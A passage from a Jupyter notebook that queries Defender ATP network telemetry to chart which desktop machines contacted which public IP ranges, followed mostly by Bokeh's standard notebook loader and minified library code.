cle\\\"},\\\"hover_glyph\\\":{\\\"id\\\":\\\"1096\\\",\\\"type\\\":\\\"Circle\\\"},\\\"muted_glyph\\\":null,\\\"nonselection_glyph\\\":{\\\"id\\\":\\\"1094\\\",\\\"type\\\":\\\"Circle\\\"},\\\"selection_glyph\\\":{\\\"id\\\":\\\"1095\\\",\\\"type\\\":\\\"Circle\\\"},\\\"view\\\":{\\\"id\\\":\\\"1098\\\",\\\"type\\\":\\\"CDSView\\\"}},\\\"id\\\":\\\"1097\\\",\\\"type\\\":\\\"GlyphRenderer\\\"}],\\\"root_ids\\\":[\\\"1040\\\"]},\\\"title\\\":\\\"Bokeh Application\\\",\\\"version\\\":\\\"1.0.1\\\"}};\\n\",\n       \"  var render_items = [{\\\"docid\\\":\\\"d0f945d4-5a6f-4b59-800f-22064666cbbf\\\",\\\"roots\\\":{\\\"1040\\\":\\\"c33cb353-a588-4782-978b-e07843b6f0e4\\\"}}];\\n\",\n       \"  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\\n\",\n       \"\\n\",\n       \"  }\\n\",\n       \"  if (root.Bokeh !== undefined) {\\n\",\n       \"    embed_document(root);\\n\",\n       \"  } else {\\n\",\n       \"    var attempts = 0;\\n\",\n       \"    var timer = setInterval(function(root) {\\n\",\n       \"      if (root.Bokeh !== undefined) {\\n\",\n       \"        embed_document(root);\\n\",\n       \"        clearInterval(timer);\\n\",\n       \"      }\\n\",\n       \"      attempts++;\\n\",\n       \"      if (attempts > 100) {\\n\",\n       \"        console.log(\\\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\\\");\\n\",\n       \"        clearInterval(timer);\\n\",\n       \"      }\\n\",\n       \"    }, 10, root)\\n\",\n       \"  }\\n\",\n       \"})(window);\"\n      ],\n      \"application/vnd.holoviews_exec.v0+json\": \"\",\n      \"text/html\": [\n       \"<div id='1040' style='display: table; margin: 0 auto;'>\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"  <div class=\\\"bk-root\\\" id=\\\"c33cb353-a588-4782-978b-e07843b6f0e4\\\"></div>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \":Chord   [source,dest]\"\n      ]\n     },\n     \"execution_count\": 46,\n     \"metadata\": {\n      \"application/vnd.holoviews_exec.v0+json\": {\n       \"id\": \"1040\"\n      }\n     },\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"# this query gets a handful of machines named desktop \\n\",\n    \"query = '''\\n\",\n    \"let machine_list = MachineInfo | where EventTime > ago(1d) | where ComputerName startswith 'desktop-' | summarize by ComputerName, MachineId | take 5;\\n\",\n    \"NetworkCommunicationEvents\\n\",\n    \"| where EventTime > ago(5d) | where isnotempty(MachineId)\\n\",\n    \"| where RemoteIPType == 'Public' and RemoteIP contains ('.') and RemotePort in ('80') \\n\",\n    \"| extend MaskedIP = strcat(split(RemoteIP,'.')[0],'.', split(RemoteIP,'.')[1], '.*.*')\\n\",\n    \"| summarize by MachineId, MaskedIP \\n\",\n    \"| join kind=inner (machine_list) on MachineId \\n\",\n    \"| summarize by ComputerName, MaskedIP\\n\",\n    \"'''\\n\",\n    \"df = wdatp_api.query(query)\\n\",\n    \"print (\\\"rows returned = %d\\\" % len(df))\\n\",\n    \"\\n\",\n    \"## this does some footwork for holoviews to allow us to format the colors, nodes, and edges.\\n\",\n    \"\\n\",\n    \"import holoviews as hv\\n\",\n    \"hv.extension('bokeh')\\n\",\n    \"\\n\",\n    \"def holoview_charting_objects(df):\\n\",\n    \"    g1 = list(df[df.columns[0]].astype(str).unique())\\n\",\n    \"    g2 = list(df[df.columns[1]].astype(str).unique())\\n\",\n    \"    g1d = list(map(lambda x: {'name': x, 'group':1}, g1))\\n\",\n    \"    g2d = list(map(lambda x: {'name': x, 'group':2}, g2))\\n\",\n    \"    nodes = hv.Dataset(pd.DataFrame(g1d + g2d), 'index')\\n\",\n    \"\\n\",\n    \"    src = list(map(lambda x: nodes.data[nodes.data['name'] == x]['index'].values[0], list(df[df.columns[0]].values)))\\n\",\n    \"    dst = list(map(lambda x: nodes.data[nodes.data['name'] == x]['index'].values[0], list(df[df.columns[1]].values)))\\n\",\n    \"    df2 = pd.DataFrame(list(zip(src,dst)), columns=['source','dest'])\\n\",\n    \"    return (df2, nodes)\\n\",\n    \"\\n\",\n    \"%opts Chord [width=800 height=800]\\n\",\n    \"%opts Chord [label_index='name' color_index='index' edge_color_index='source'] \\n\",\n    \"%opts Chord (cmap='Category20' edge_cmap='Category20')\\n\",\n    \"\\n\",\n    \"import holoviews as hv\\n\",\n    \"hv.Chord(holoview_charting_objects(df))\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Rendering in a scatter plot\\n\",\n    \"\\n\",\n    \"Holoviews supports many different kinds of visualization options.  Give them a try!\\n\",\n    \"\\n\",\n    \"Here is another way to view the same data.  This uses a scatter plot. Each row is an IP grouping and \\n\",\n    \"if the machine has communicated to it, you will see a dot.  If a row has only one dot, that means only\\n\",\n    \"one machine communicated to it. You can easily can the scatter plot to find outliers.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 47,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"application/javascript\": [\n       \"\\n\",\n       \"(function(root) {\\n\",\n       \"  function now() {\\n\",\n       \"    return new Date();\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  var force = true;\\n\",\n       \"\\n\",\n       \"  if (typeof (root._bokeh_onload_callbacks) === \\\"undefined\\\" || force === true) {\\n\",\n       \"    root._bokeh_onload_callbacks = [];\\n\",\n       \"    root._bokeh_is_loading = undefined;\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  var JS_MIME_TYPE = 'application/javascript';\\n\",\n       \"  var HTML_MIME_TYPE = 'text/html';\\n\",\n       \"  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\\n\",\n       \"  var CLASS_NAME = 'output_bokeh rendered_html';\\n\",\n       \"\\n\",\n       \"  /**\\n\",\n       \"   * Render data to the DOM node\\n\",\n       \"   */\\n\",\n       \"  function render(props, node) {\\n\",\n       \"    var script = document.createElement(\\\"script\\\");\\n\",\n       \"    node.appendChild(script);\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  /**\\n\",\n       \"   * Handle when an output is cleared or removed\\n\",\n       \"   */\\n\",\n       \"  function handleClearOutput(event, handle) {\\n\",\n       \"    var cell = handle.cell;\\n\",\n       \"\\n\",\n       \"    var id = cell.output_area._bokeh_element_id;\\n\",\n       \"    var server_id = cell.output_area._bokeh_server_id;\\n\",\n       \"    // Clean up Bokeh references\\n\",\n       \"    if (id != null && id in Bokeh.index) {\\n\",\n       \"      Bokeh.index[id].model.document.clear();\\n\",\n       \"      delete Bokeh.index[id];\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    if (server_id !== undefined) {\\n\",\n       \"      // Clean up Bokeh references\\n\",\n       \"      var cmd = \\\"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\\\" + server_id + \\\"'].get_sessions()[0].document.roots[0]._id)\\\";\\n\",\n       \"      cell.notebook.kernel.execute(cmd, {\\n\",\n       \"        iopub: {\\n\",\n       \"          output: function(msg) {\\n\",\n       \"            var id = msg.content.text.trim();\\n\",\n       \"            if (id in Bokeh.index) {\\n\",\n       \"              Bokeh.index[id].model.document.clear();\\n\",\n       \"              delete Bokeh.index[id];\\n\",\n       \"            }\\n\",\n       \"          }\\n\",\n       \"        }\\n\",\n       \"      });\\n\",\n       \"      // Destroy server and session\\n\",\n       \"      var cmd = \\\"import bokeh.io.notebook as ion; ion.destroy_server('\\\" + server_id + \\\"')\\\";\\n\",\n       \"      cell.notebook.kernel.execute(cmd);\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  /**\\n\",\n       \"   * Handle when a new output is added\\n\",\n       \"   */\\n\",\n       \"  function handleAddOutput(event, handle) {\\n\",\n       \"    var output_area = handle.output_area;\\n\",\n       \"    var output = handle.output;\\n\",\n       \"\\n\",\n       \"    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\\n\",\n       \"    if ((output.output_type != \\\"display_data\\\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\\n\",\n       \"      return\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    var toinsert = output_area.element.find(\\\".\\\" + CLASS_NAME.split(' ')[0]);\\n\",\n       \"\\n\",\n       \"    if (output.metadata[EXEC_MIME_TYPE][\\\"id\\\"] !== undefined) {\\n\",\n       \"      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\\n\",\n       \"      // store reference to embed id on output_area\\n\",\n       \"      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\\\"id\\\"];\\n\",\n       \"    }\\n\",\n       \"    if (output.metadata[EXEC_MIME_TYPE][\\\"server_id\\\"] !== undefined) {\\n\",\n       \"      var bk_div = document.createElement(\\\"div\\\");\\n\",\n       \"      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\\n\",\n       \"      var script_attrs = bk_div.children[0].attributes;\\n\",\n       \"      for (var i = 0; i < script_attrs.length; i++) {\\n\",\n       \"        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\\n\",\n       \"      }\\n\",\n       \"      // store reference to server id on output_area\\n\",\n       \"      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\\\"server_id\\\"];\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  function register_renderer(events, OutputArea) {\\n\",\n       \"\\n\",\n       \"    function append_mime(data, metadata, element) {\\n\",\n       \"      // create a DOM node to render to\\n\",\n       \"      var toinsert = this.create_output_subarea(\\n\",\n       \"        metadata,\\n\",\n       \"        CLASS_NAME,\\n\",\n       \"        EXEC_MIME_TYPE\\n\",\n       \"      );\\n\",\n       \"      this.keyboard_manager.register_events(toinsert);\\n\",\n       \"      // Render to node\\n\",\n       \"      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\\n\",\n       \"      render(props, toinsert[toinsert.length - 1]);\\n\",\n       \"      element.append(toinsert);\\n\",\n       \"      return toinsert\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    /* Handle when an output is cleared or removed */\\n\",\n       \"    events.on('clear_output.CodeCell', handleClearOutput);\\n\",\n       \"    events.on('delete.Cell', handleClearOutput);\\n\",\n       \"\\n\",\n       \"    /* Handle when a new output is added */\\n\",\n       \"    events.on('output_added.OutputArea', handleAddOutput);\\n\",\n       \"\\n\",\n       \"    /**\\n\",\n       \"     * Register the mime type and append_mime function with output_area\\n\",\n       \"     */\\n\",\n       \"    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\\n\",\n       \"      /* Is output safe? */\\n\",\n       \"      safe: true,\\n\",\n       \"      /* Index of renderer in `output_area.display_order` */\\n\",\n       \"      index: 0\\n\",\n       \"    });\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  // register the mime type if in Jupyter Notebook environment and previously unregistered\\n\",\n       \"  if (root.Jupyter !== undefined) {\\n\",\n       \"    var events = require('base/js/events');\\n\",\n       \"    var OutputArea = require('notebook/js/outputarea').OutputArea;\\n\",\n       \"\\n\",\n       \"    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\\n\",\n       \"      register_renderer(events, OutputArea);\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  \\n\",\n       \"  if (typeof (root._bokeh_timeout) === \\\"undefined\\\" || force === true) {\\n\",\n       \"    root._bokeh_timeout = Date.now() + 5000;\\n\",\n       \"    root._bokeh_failed_load = false;\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  var NB_LOAD_WARNING = {'data': {'text/html':\\n\",\n       \"     \\\"<div style='background-color: #fdd'>\\\\n\\\"+\\n\",\n       \"     \\\"<p>\\\\n\\\"+\\n\",\n       \"     \\\"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\\\n\\\"+\\n\",\n       \"     \\\"may be due to a slow or bad network connection. Possible fixes:\\\\n\\\"+\\n\",\n       \"     \\\"</p>\\\\n\\\"+\\n\",\n       \"     \\\"<ul>\\\\n\\\"+\\n\",\n       \"     \\\"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\\\n\\\"+\\n\",\n       \"     \\\"<li>use INLINE resources instead, as so:</li>\\\\n\\\"+\\n\",\n       \"     \\\"</ul>\\\\n\\\"+\\n\",\n       \"     \\\"<code>\\\\n\\\"+\\n\",\n       \"     \\\"from bokeh.resources import INLINE\\\\n\\\"+\\n\",\n       \"     \\\"output_notebook(resources=INLINE)\\\\n\\\"+\\n\",\n       \"     \\\"</code>\\\\n\\\"+\\n\",\n       \"     \\\"</div>\\\"}};\\n\",\n       \"\\n\",\n       \"  function display_loaded() {\\n\",\n       \"    var el = document.getElementById(null);\\n\",\n       \"    if (el != null) {\\n\",\n       \"      el.textContent = \\\"BokehJS is loading...\\\";\\n\",\n       \"    }\\n\",\n       \"    if (root.Bokeh !== undefined) {\\n\",\n       \"      if (el != null) {\\n\",\n       \"        el.textContent = \\\"BokehJS \\\" + root.Bokeh.version + \\\" successfully loaded.\\\";\\n\",\n       \"      }\\n\",\n       \"    } else if (Date.now() < root._bokeh_timeout) {\\n\",\n       \"      setTimeout(display_loaded, 100)\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"  function run_callbacks() {\\n\",\n       \"    try {\\n\",\n       \"      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\\n\",\n       \"    }\\n\",\n       \"    finally {\\n\",\n       \"      delete root._bokeh_onload_callbacks\\n\",\n       \"    }\\n\",\n       \"    console.info(\\\"Bokeh: all callbacks have finished\\\");\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  function load_libs(js_urls, callback) {\\n\",\n       \"    root._bokeh_onload_callbacks.push(callback);\\n\",\n       \"    if (root._bokeh_is_loading > 0) {\\n\",\n       \"      console.log(\\\"Bokeh: BokehJS is being loaded, scheduling callback at\\\", now());\\n\",\n       \"      return null;\\n\",\n       \"    }\\n\",\n       \"    if (js_urls == null || js_urls.length === 0) {\\n\",\n       \"      run_callbacks();\\n\",\n       \"      return null;\\n\",\n       \"    }\\n\",\n       \"    console.log(\\\"Bokeh: BokehJS not loaded, scheduling load and callback at\\\", now());\\n\",\n       \"    root._bokeh_is_loading = js_urls.length;\\n\",\n       \"    for (var i = 0; i < js_urls.length; i++) {\\n\",\n       \"      var url = js_urls[i];\\n\",\n       \"      var s = document.createElement('script');\\n\",\n       \"      s.src = url;\\n\",\n       \"      s.async = false;\\n\",\n       \"      s.onreadystatechange = s.onload = function() {\\n\",\n       \"        root._bokeh_is_loading--;\\n\",\n       \"        if (root._bokeh_is_loading === 0) {\\n\",\n       \"          console.log(\\\"Bokeh: all BokehJS libraries loaded\\\");\\n\",\n       \"          run_callbacks()\\n\",\n       \"        }\\n\",\n       \"      };\\n\",\n       \"      s.onerror = function() {\\n\",\n       \"        console.warn(\\\"failed to load library \\\" + url);\\n\",\n       \"      };\\n\",\n       \"      console.log(\\\"Bokeh: injecting script tag for BokehJS library: \\\", url);\\n\",\n       \"      document.getElementsByTagName(\\\"head\\\")[0].appendChild(s);\\n\",\n       \"    }\\n\",\n       \"  };\\n\",\n       \"\\n\",\n       \"  var js_urls = [];\\n\",\n       \"\\n\",\n       \"  var inline_js = [\\n\",\n       \"    function(Bokeh) {\\n\",\n       \"      /* BEGIN bokeh.min.js */\\n\",\n       \"      /*!\\n\",\n       \"       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n\",\n       \"       * All rights reserved.\\n\",\n       \"       * \\n\",\n       \"       * Redistribution and use in source and binary forms, with or without modification,\\n\",\n       \"       * are permitted provided that the following conditions are met:\\n\",\n       \"       * \\n\",\n       \"       * Redistributions of source code must retain the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer.\\n\",\n       \"       * \\n\",\n       \"       * Redistributions in binary form must reproduce the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer in the documentation\\n\",\n       \"       * and/or other materials provided with the distribution.\\n\",\n       \"       * \\n\",\n       \"       * Neither the name of Anaconda nor the names of any contributors\\n\",\n       \"       * may be used to endorse or promote products derived from this software\\n\",\n       \"       * without specific prior written permission.\\n\",\n       \"       * \\n\",\n       \"       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n\",\n       \"       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n\",\n       \"       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n\",\n       \"       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n\",\n       \"       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n\",\n       \"       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n\",\n       \"       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n\",\n       \"       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n\",\n       \"       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n\",\n       \"       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n\",\n       \"       * THE POSSIBILITY OF SUCH DAMAGE.\\n\",\n       \"       */\\n\",\n       \"      !function(t,e){var o,s,r,a,l;t.Bokeh=(o=[function(t,e,i){var n=t(153),r=t(32);i.overrides={};var o=r.clone(n);i.Models=function(t){var e=i.overrides[t]||o[t];if(null==e)throw new Error(\\\"Model '\\\"+t+\\\"' does not exist. This could be due to a widget\\\\n                     or a custom model not being registered before first usage.\\\");return e},i.Models.register=function(t,e){i.overrides[t]=e},i.Models.unregister=function(t){delete i.overrides[t]},i.Models.register_models=function(t,e,i){if(void 0===e&&(e=!1),null!=t)for(var n in t){var r=t[n];e||!o.hasOwnProperty(n)?o[n]=r:null!=i?i(n):console.warn(\\\"Model '\\\"+n+\\\"' was already registered\\\")}},i.register_models=i.Models.register_models,i.Models.registered_names=function(){return Object.keys(o)},i.index={}},function(t,e,o){var s=t(336),a=t(14),l=t(52),h=t(282),u=t(283),c=t(2);o.DEFAULT_SERVER_WEBSOCKET_URL=\\\"ws://localhost:5006/ws\\\",o.DEFAULT_SESSION_ID=\\\"default\\\";var _=0,p=function(){function t(t,e,i,n,r){void 0===t&&(t=o.DEFAULT_SERVER_WEBSOCKET_URL),void 0===e&&(e=o.DEFAULT_SESSION_ID),void 0===i&&(i=null),void 0===n&&(n=null),void 0===r&&(r=null),this.url=t,this.id=e,this.args_string=i,this._on_have_session_hook=n,this._on_closed_permanently_hook=r,this._number=_++,this.socket=null,this.session=null,this.closed_permanently=!1,this._current_handler=null,this._pending_ack=null,this._pending_replies={},this._receiver=new u.Receiver,a.logger.debug(\\\"Creating websocket \\\"+this._number+\\\" to '\\\"+this.url+\\\"' session '\\\"+this.id+\\\"'\\\")}return t.prototype.connect=function(){var i=this;if(this.closed_permanently)return s.Promise.reject(new Error(\\\"Cannot connect() a closed ClientConnection\\\"));if(null!=this.socket)return s.Promise.reject(new Error(\\\"Already connected\\\"));this._pending_replies={},this._current_handler=null;try{var t=this.url+\\\"?bokeh-protocol-version=1.0&bokeh-session-id=\\\"+this.id;return null!=this.args_string&&0<this.args_string.length&&(t+=\\\"&\\\"+this.args_string),this.socket=new WebSocket(t),new s.Promise(function(t,e){i.socket.binaryType=\\\"arraybuffer\\\",i.socket.onopen=function(){return i._on_open(t,e)},i.socket.onmessage=function(t){return i._on_message(t)},i.socket.onclose=function(t){return i._on_close(t)},i.socket.onerror=function(){return i._on_error(e)}})}catch(t){return a.logger.error(\\\"websocket creation failed to url: \\\"+this.url),a.logger.error(\\\" - \\\"+t),s.Promise.reject(t)}},t.prototype.close=function(){this.closed_permanently||(a.logger.debug(\\\"Permanently closing websocket connection \\\"+this._number),this.closed_permanently=!0,null!=this.socket&&this.socket.close(1e3,\\\"close method called on ClientConnection \\\"+this._number),this.session._connection_closed(),null!=this._on_closed_permanently_hook&&(this._on_closed_permanently_hook(),this._on_closed_permanently_hook=null))},t.prototype._schedule_reconnect=function(t){var e=this;setTimeout(function(){e.closed_permanently||a.logger.info(\\\"Websocket connection \\\"+e._number+\\\" disconnected, will not attempt to reconnect\\\")},t)},t.prototype.send=function(t){if(null==this.socket)throw new Error(\\\"not connected so cannot send \\\"+t);t.send(this.socket)},t.prototype.send_with_reply=function(i){var n=this,t=new s.Promise(function(t,e){n._pending_replies[i.msgid()]=[t,e],n.send(i)});return t.then(function(t){if(\\\"ERROR\\\"===t.msgtype())throw new Error(\\\"Error reply \\\"+t.content.text);return t},function(t){throw t})},t.prototype._pull_doc_json=function(){var t=h.Message.create(\\\"PULL-DOC-REQ\\\",{}),e=this.send_with_reply(t);return e.then(function(t){if(!(\\\"doc\\\"in t.content))throw new Error(\\\"No 'doc' field in PULL-DOC-REPLY\\\");return t.content.doc},function(t){throw t})},t.prototype._repull_session_doc=function(){var r=this;null==this.session?a.logger.debug(\\\"Pulling session for first time\\\"):a.logger.debug(\\\"Repulling session\\\"),this._pull_doc_json().then(function(t){if(null==r.session)if(r.closed_permanently)a.logger.debug(\\\"Got new document after connection was already closed\\\");else{var e=l.Document.from_json(t),i=l.Document._compute_patch_since_json(t,e);if(0<i.events.length){a.logger.debug(\\\"Sending \\\"+i.events.length+\\\" changes from model construction back to server\\\");var n=h.Message.create(\\\"PATCH-DOC\\\",{},i);r.send(n)}r.session=new c.ClientSession(r,e,r.id),a.logger.debug(\\\"Created a new session from new pulled doc\\\"),null!=r._on_have_session_hook&&(r._on_have_session_hook(r.session),r._on_have_session_hook=null)}else r.session.document.replace_with_json(t),a.logger.debug(\\\"Updated existing session with new pulled doc\\\")},function(t){throw t}).catch(function(t){null!=console.trace&&console.trace(t),a.logger.error(\\\"Failed to repull session \\\"+t)})},t.prototype._on_open=function(t,e){var i=this;a.logger.info(\\\"Websocket connection \\\"+this._number+\\\" is now open\\\"),this._pending_ack=[t,e],this._current_handler=function(t){i._awaiting_ack_handler(t)}},t.prototype._on_message=function(t){null==this._current_handler&&a.logger.error(\\\"Got a message with no current handler set\\\");try{this._receiver.consume(t.data)}catch(t){this._close_bad_protocol(t.toString())}if(null!=this._receiver.message){var e=this._receiver.message,i=e.problem();null!=i&&this._close_bad_protocol(i),this._current_handler(e)}},t.prototype._on_close=function(t){var i=this;a.logger.info(\\\"Lost websocket \\\"+this._number+\\\" connection, \\\"+t.code+\\\" (\\\"+t.reason+\\\")\\\"),(this.socket=null)!=this._pending_ack&&(this._pending_ack[1](new Error(\\\"Lost websocket connection, \\\"+t.code+\\\" (\\\"+t.reason+\\\")\\\")),this._pending_ack=null);for(var e=function(){for(var t in i._pending_replies){var e=i._pending_replies[t];return delete i._pending_replies[t],e}return null},n=e();null!=n;)n[1](\\\"Disconnected\\\"),n=e();this.closed_permanently||this._schedule_reconnect(2e3)},t.prototype._on_error=function(t){a.logger.debug(\\\"Websocket error on socket \\\"+this._number),t(new Error(\\\"Could not open websocket\\\"))},t.prototype._close_bad_protocol=function(t){a.logger.error(\\\"Closing connection: \\\"+t),null!=this.socket&&this.socket.close(1002,t)},t.prototype._awaiting_ack_handler=function(t){var e=this;\\\"ACK\\\"===t.msgtype()?(this._current_handler=function(t){return e._steady_state_handler(t)},this._repull_session_doc(),null!=this._pending_ack&&(this._pending_ack[0](this),this._pending_ack=null)):this._close_bad_protocol(\\\"First message was not an ACK\\\")},t.prototype._steady_state_handler=function(t){if(t.reqid()in this._pending_replies){var e=this._pending_replies[t.reqid()];delete this._pending_replies[t.reqid()],e[0](t)}else this.session.handle(t)},t}();o.ClientConnection=p,o.pull_session=function(i,n,r){return new s.Promise(function(t,e){return new p(i,n,r,function(e){try{t(e)}catch(t){throw a.logger.error(\\\"Promise handler threw an error, closing session \\\"+t),e.close(),t}},function(){e(new Error(\\\"Connection was closed before we successfully pulled a session\\\"))}).connect().then(function(t){},function(t){throw a.logger.error(\\\"Failed to connect to Bokeh server \\\"+t),t})})}},function(t,e,i){var n=t(14),r=t(52),o=t(282),s=function(){function t(t,e,i){var n=this;this._connection=t,this.document=e,this.id=i,this._document_listener=function(t){return n._document_changed(t)},this.document.on_change(this._document_listener),this.event_manager=this.document.event_manager,this.event_manager.session=this}return t.prototype.handle=function(t){var e=t.msgtype();\\\"PATCH-DOC\\\"===e?this._handle_patch(t):\\\"OK\\\"===e?this._handle_ok(t):\\\"ERROR\\\"===e?this._handle_error(t):n.logger.debug(\\\"Doing nothing with message \\\"+t.msgtype())},t.prototype.close=function(){this._connection.close()},t.prototype.send_event=function(t){var e=o.Message.create(\\\"EVENT\\\",{},JSON.stringify(t));this._connection.send(e)},t.prototype._connection_closed=function(){this.document.remove_on_change(this._document_listener)},t.prototype.request_server_info=function(){var t=o.Message.create(\\\"SERVER-INFO-REQ\\\",{}),e=this._connection.send_with_reply(t);return e.then(function(t){return t.content})},t.prototype.force_roundtrip=function(){return this.request_server_info().then(function(t){})},t.prototype._document_changed=function(t){if(t.setter_id!==this.id&&(!(t instanceof r.ModelChangedEvent)||t.attr in t.model.serializable_attributes())){var e=o.Message.create(\\\"PATCH-DOC\\\",{},this.document.create_json_patch([t]));this._connection.send(e)}},t.prototype._handle_patch=function(t){this.document.apply_json_patch(t.content,t.buffers,this.id)},t.prototype._handle_ok=function(t){n.logger.trace(\\\"Unhandled OK reply to \\\"+t.reqid())},t.prototype._handle_error=function(t){n.logger.error(\\\"Unhandled ERROR reply to \\\"+t.reqid()+\\\": \\\"+t.content.text)},t}();i.ClientSession=s},function(t,e,i){var n=t(391),r=t(14),o=t(32),s={};function a(e){return function(t){t.prototype.event_name=e,s[e]=t}}i.register_event_class=a,i.register_with_event=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=t.prototype.applicable_models.concat(e);t.prototype.applicable_models=n};var l=function(){function t(t){void 0===t&&(t={}),this.model_id=null,(this._options=t).model_id&&(this.model_id=t.model_id)}return t.prototype.set_model_id=function(t){return this._options.model_id=t,this.model_id=t,this},t.prototype.is_applicable_to=function(e){return this.applicable_models.some(function(t){return e instanceof t})},t.event_class=function(t){if(t.type)return s[t.type];r.logger.warn(\\\"BokehEvent.event_class required events with a string type attribute\\\")},t.prototype.toJSON=function(){return{event_name:this.event_name,event_values:o.clone(this._options)}},t.prototype._customize_event=function(t){return this},t}();(i.BokehEvent=l).prototype.applicable_models=[];var h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"button_click\\\")],e)}(l);i.ButtonClick=h;var u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(l),c=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"lodstart\\\")],e)}(i.UIEvent=u);i.LODStart=c;var _=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"lodend\\\")],e)}(u);i.LODEnd=_;var p=function(i){function t(t){var e=i.call(this,t)||this;return e.geometry=t.geometry,e.final=t.final,e}return n.__extends(t,i),t=n.__decorate([a(\\\"selectiongeometry\\\")],t)}(u);i.SelectionGeometry=p;var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"reset\\\")],e)}(u);i.Reset=d;var f=function(i){function t(t){var e=i.call(this,t)||this;return e.sx=t.sx,e.sy=t.sy,e.x=null,e.y=null,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,model_id:e})},t.prototype._customize_event=function(t){var e=t.plot_canvas.frame.xscales.default,i=t.plot_canvas.frame.yscales.default;return this.x=e.invert(this.sx),this.y=i.invert(this.sy),this._options.x=this.x,this._options.y=this.y,this},t}(u),v=function(i){function t(t){void 0===t&&(t={});var e=i.call(this,t)||this;return e.delta_x=t.delta_x,e.delta_y=t.delta_y,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,delta_x:t.deltaX,delta_y:t.deltaY,direction:t.direction,model_id:e})},t=n.__decorate([a(\\\"pan\\\")],t)}(i.PointEvent=f);i.Pan=v;var m=function(i){function t(t){void 0===t&&(t={});var e=i.call(this,t)||this;return e.scale=t.scale,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,scale:t.scale,model_id:e})},t=n.__decorate([a(\\\"pinch\\\")],t)}(f);i.Pinch=m;var g=function(i){function t(t){void 0===t&&(t={});var e=i.call(this,t)||this;return e.delta=t.delta,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,delta:t.delta,model_id:e})},t=n.__decorate([a(\\\"wheel\\\")],t)}(f);i.MouseWheel=g;var y=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"mousemove\\\")],e)}(f);i.MouseMove=y;var 